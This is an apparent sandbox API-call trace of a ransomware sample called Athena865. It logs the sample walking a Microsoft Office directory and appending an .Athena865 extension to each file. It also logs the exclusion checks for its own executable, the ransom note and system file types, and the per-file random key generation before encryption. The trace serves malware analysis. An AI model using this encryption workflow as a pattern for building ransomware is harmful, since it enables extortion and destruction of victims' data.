ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50ed22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5fd88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UML.VSL", cAlternateFileName="")) returned 1 [0146.991] lstrcmpiW (lpString1="UML.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.991] lstrcmpiW (lpString1="UML.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.991] lstrcpyW (in: lpString1=0x241e8a8, lpString2="UML.VSL" | out: lpString1="UML.VSL") returned="UML.VSL" [0146.991] lstrlenW (lpString="UML.VSL") returned 7 [0146.991] lstrlenW (lpString="Athena865") returned 9 [0146.991] lstrlenW (lpString=".dll") returned 4 [0146.991] lstrcmpiW (lpString1="UML.VSL", lpString2=".dll") returned 1 [0146.991] lstrlenW (lpString=".lnk") returned 4 [0146.991] lstrcmpiW (lpString1="UML.VSL", lpString2=".lnk") returned 1 [0146.991] lstrlenW (lpString=".ini") returned 4 [0146.991] lstrcmpiW (lpString1="UML.VSL", lpString2=".ini") returned 1 [0146.991] lstrlenW (lpString=".sys") returned 4 [0146.991] lstrcmpiW (lpString1="UML.VSL", lpString2=".sys") returned 1 [0146.991] lstrlenW (lpString="UML.VSL") returned 7 [0146.992] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.Athena865") returned 65 [0146.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.athena865"), dwFlags=0x1) returned 1 [0147.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.094] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=392584) returned 1 [0147.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.095] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.095] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.095] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.096] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60090, lpName=0x0) returned 0x154 [0147.099] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60090) returned 0x2bb0000 [0147.112] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.112] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.112] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.113] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0147.116] CloseHandle (hObject=0x154) returned 1 [0147.116] CloseHandle (hObject=0x17c) returned 1 [0147.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f896e00, ftCreationTime.dwHighDateTime=0x1cab8a9, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f896e00, ftLastWriteTime.dwHighDateTime=0x1cab8a9, nFileSizeHigh=0x0, nFileSizeLow=0xef80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UmOutlookStrings.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0147.118] lstrcmpiW (lpString1="UmOutlookStrings.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.118] lstrcmpiW (lpString1="UmOutlookStrings.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.118] lstrcpyW (in: lpString1=0x241e8a8, lpString2="UmOutlookStrings.dll" | out: lpString1="UmOutlookStrings.dll") returned="UmOutlookStrings.dll" [0147.118] lstrlenW (lpString="UmOutlookStrings.dll") returned 20 [0147.118] lstrlenW (lpString="Athena865") returned 9 [0147.119] lstrcmpiW (lpString1="rings.dll", lpString2="Athena865") returned 1 [0147.119] lstrlenW (lpString=".dll") returned 4 [0147.119] lstrcmpiW (lpString1="UmOutlookStrings.dll", lpString2=".dll") returned 1 [0147.119] lstrlenW (lpString=".lnk") returned 4 [0147.119] lstrcmpiW (lpString1="UmOutlookStrings.dll", lpString2=".lnk") returned 1 [0147.119] lstrlenW (lpString=".ini") returned 4 [0147.119] lstrcmpiW (lpString1="UmOutlookStrings.dll", lpString2=".ini") returned 1 [0147.119] lstrlenW (lpString=".sys") returned 4 [0147.119] lstrcmpiW (lpString1="UmOutlookStrings.dll", lpString2=".sys") returned 1 [0147.119] lstrlenW (lpString="UmOutlookStrings.dll") returned 20 [0147.119] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.Athena865") returned 78 [0147.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll.athena865"), dwFlags=0x1) returned 1 [0147.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.121] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61312) returned 1 [0147.121] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.122] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.122] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.122] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf280, lpName=0x0) returned 0x154 [0147.124] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf280) returned 0x100000 [0147.126] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.127] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.127] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.128] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x960df00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x960df00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VALVE.VRD", cAlternateFileName="")) returned 1 [0147.128] lstrcmpiW (lpString1="VALVE.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.128] lstrcmpiW (lpString1="VALVE.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.128] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VALVE.VRD" | out: lpString1="VALVE.VRD") returned="VALVE.VRD" [0147.128] lstrlenW (lpString="VALVE.VRD") returned 9 [0147.128] lstrlenW (lpString="Athena865") returned 9 [0147.128] lstrlenW (lpString=".dll") returned 4 [0147.128] lstrcmpiW (lpString1="VALVE.VRD", lpString2=".dll") returned 1 [0147.128] lstrlenW (lpString=".lnk") returned 4 [0147.128] lstrcmpiW (lpString1="VALVE.VRD", lpString2=".lnk") returned 1 [0147.128] lstrlenW (lpString=".ini") returned 4 [0147.128] lstrcmpiW (lpString1="VALVE.VRD", lpString2=".ini") returned 1 [0147.128] lstrlenW (lpString=".sys") returned 4 [0147.128] lstrcmpiW (lpString1="VALVE.VRD", lpString2=".sys") returned 1 [0147.128] lstrlenW (lpString="VALVE.VRD") returned 9 [0147.129] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.Athena865") returned 67 [0147.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.athena865"), dwFlags=0x1) returned 1 [0147.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.131] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1868) returned 1 [0147.131] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.132] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.132] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.132] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa50, lpName=0x0) returned 0x154 [0147.134] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa50) returned 0x100000 [0147.134] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.135] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.135] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.135] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ceb0900, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4ceb0900, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISBRRES.DLL", cAlternateFileName="")) returned 1 [0147.135] lstrcmpiW (lpString1="VISBRRES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.135] lstrcmpiW (lpString1="VISBRRES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.135] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISBRRES.DLL" | out: lpString1="VISBRRES.DLL") returned="VISBRRES.DLL" [0147.136] lstrlenW (lpString="VISBRRES.DLL") returned 12 [0147.136] lstrlenW (lpString="Athena865") returned 9 [0147.136] lstrcmpiW (lpString1="BRRES.DLL", lpString2="Athena865") returned 1 [0147.136] lstrlenW (lpString=".dll") returned 4 [0147.136] lstrcmpiW (lpString1="VISBRRES.DLL", lpString2=".dll") returned 1 [0147.136] lstrlenW (lpString=".lnk") returned 4 [0147.136] lstrcmpiW (lpString1="VISBRRES.DLL", lpString2=".lnk") returned 1 [0147.136] lstrlenW (lpString=".ini") returned 4 [0147.136] lstrcmpiW (lpString1="VISBRRES.DLL", lpString2=".ini") returned 1 [0147.136] lstrlenW (lpString=".sys") returned 4 [0147.136] lstrcmpiW (lpString1="VISBRRES.DLL", lpString2=".sys") returned 1 [0147.136] lstrlenW (lpString="VISBRRES.DLL") returned 12 [0147.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.Athena865") returned 70 [0147.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.athena865"), dwFlags=0x1) returned 1 [0147.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.138] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37264) returned 1 [0147.138] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.139] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.139] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.139] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9490, lpName=0x0) returned 0x154 [0147.141] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9490) returned 0x100000 [0147.142] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.143] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.143] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.144] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b68e400, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7b68e400, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISBRRES.DLL.IDX_DLL", cAlternateFileName="VISBRR~1.IDX")) returned 1 [0147.144] lstrcmpiW (lpString1="VISBRRES.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.144] lstrcmpiW (lpString1="VISBRRES.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.144] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISBRRES.DLL.IDX_DLL" | out: lpString1="VISBRRES.DLL.IDX_DLL") returned="VISBRRES.DLL.IDX_DLL" [0147.144] lstrlenW (lpString="VISBRRES.DLL.IDX_DLL") returned 20 [0147.144] lstrlenW (lpString="Athena865") returned 9 [0147.144] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0147.144] lstrlenW (lpString=".dll") returned 4 [0147.144] lstrcmpiW (lpString1="VISBRRES.DLL.IDX_DLL", lpString2=".dll") returned 1 [0147.145] lstrlenW (lpString=".lnk") returned 4 [0147.145] lstrcmpiW (lpString1="VISBRRES.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0147.145] lstrlenW (lpString=".ini") returned 4 [0147.145] lstrcmpiW (lpString1="VISBRRES.DLL.IDX_DLL", lpString2=".ini") returned 1 [0147.145] lstrlenW (lpString=".sys") returned 4 [0147.145] lstrcmpiW (lpString1="VISBRRES.DLL.IDX_DLL", lpString2=".sys") returned 1 [0147.145] lstrlenW (lpString="VISBRRES.DLL.IDX_DLL") returned 20 [0147.145] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.Athena865") returned 78 [0147.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0147.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.156] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19328) returned 1 [0147.156] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.157] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.157] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.158] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e80, lpName=0x0) returned 0x154 [0147.158] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e80) returned 0x100000 [0147.164] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.164] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.164] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.165] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISCOLOR.VSL", cAlternateFileName="")) returned 1 [0147.165] lstrcmpiW (lpString1="VISCOLOR.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.165] lstrcmpiW (lpString1="VISCOLOR.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.165] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISCOLOR.VSL" | out: lpString1="VISCOLOR.VSL") returned="VISCOLOR.VSL" [0147.165] lstrlenW (lpString="VISCOLOR.VSL") returned 12 [0147.165] lstrlenW (lpString="Athena865") returned 9 [0147.165] lstrcmpiW (lpString1="COLOR.VSL", lpString2="Athena865") returned 1 [0147.165] lstrlenW (lpString=".dll") returned 4 [0147.165] lstrcmpiW (lpString1="VISCOLOR.VSL", lpString2=".dll") returned 1 [0147.165] lstrlenW (lpString=".lnk") returned 4 [0147.165] lstrcmpiW (lpString1="VISCOLOR.VSL", lpString2=".lnk") returned 1 [0147.165] lstrlenW (lpString=".ini") returned 4 [0147.165] lstrcmpiW (lpString1="VISCOLOR.VSL", lpString2=".ini") returned 1 [0147.165] lstrlenW (lpString=".sys") returned 4 [0147.165] lstrcmpiW (lpString1="VISCOLOR.VSL", lpString2=".sys") returned 1 [0147.166] lstrlenW (lpString="VISCOLOR.VSL") returned 12 [0147.166] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.Athena865") returned 70 [0147.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.athena865"), dwFlags=0x1) returned 1 [0147.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.168] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43392) returned 1 [0147.168] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.169] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.169] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.169] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac80, lpName=0x0) returned 0x154 [0147.171] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac80) returned 0x100000 [0147.175] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.176] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.176] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.177] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0xb9378, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISINTL.DLL", cAlternateFileName="")) returned 1 [0147.177] lstrcmpiW (lpString1="VISINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.177] lstrcmpiW (lpString1="VISINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.177] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISINTL.DLL" | out: lpString1="VISINTL.DLL") returned="VISINTL.DLL" [0147.177] lstrlenW (lpString="VISINTL.DLL") returned 11 [0147.177] lstrlenW (lpString="Athena865") returned 9 [0147.177] lstrcmpiW (lpString1="SINTL.DLL", lpString2="Athena865") returned 1 [0147.177] lstrlenW (lpString=".dll") returned 4 [0147.177] lstrcmpiW (lpString1="VISINTL.DLL", lpString2=".dll") returned 1 [0147.177] lstrlenW (lpString=".lnk") returned 4 [0147.177] lstrcmpiW (lpString1="VISINTL.DLL", lpString2=".lnk") returned 1 [0147.177] lstrlenW (lpString=".ini") returned 4 [0147.177] lstrcmpiW (lpString1="VISINTL.DLL", lpString2=".ini") returned 1 [0147.177] lstrlenW (lpString=".sys") returned 4 [0147.177] lstrcmpiW (lpString1="VISINTL.DLL", lpString2=".sys") returned 1 [0147.177] lstrlenW (lpString="VISINTL.DLL") returned 11 [0147.177] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.Athena865") returned 69 [0147.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.athena865"), dwFlags=0x1) returned 1 [0147.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.athena865"), dwDesiredAccess=0xc00e0000, 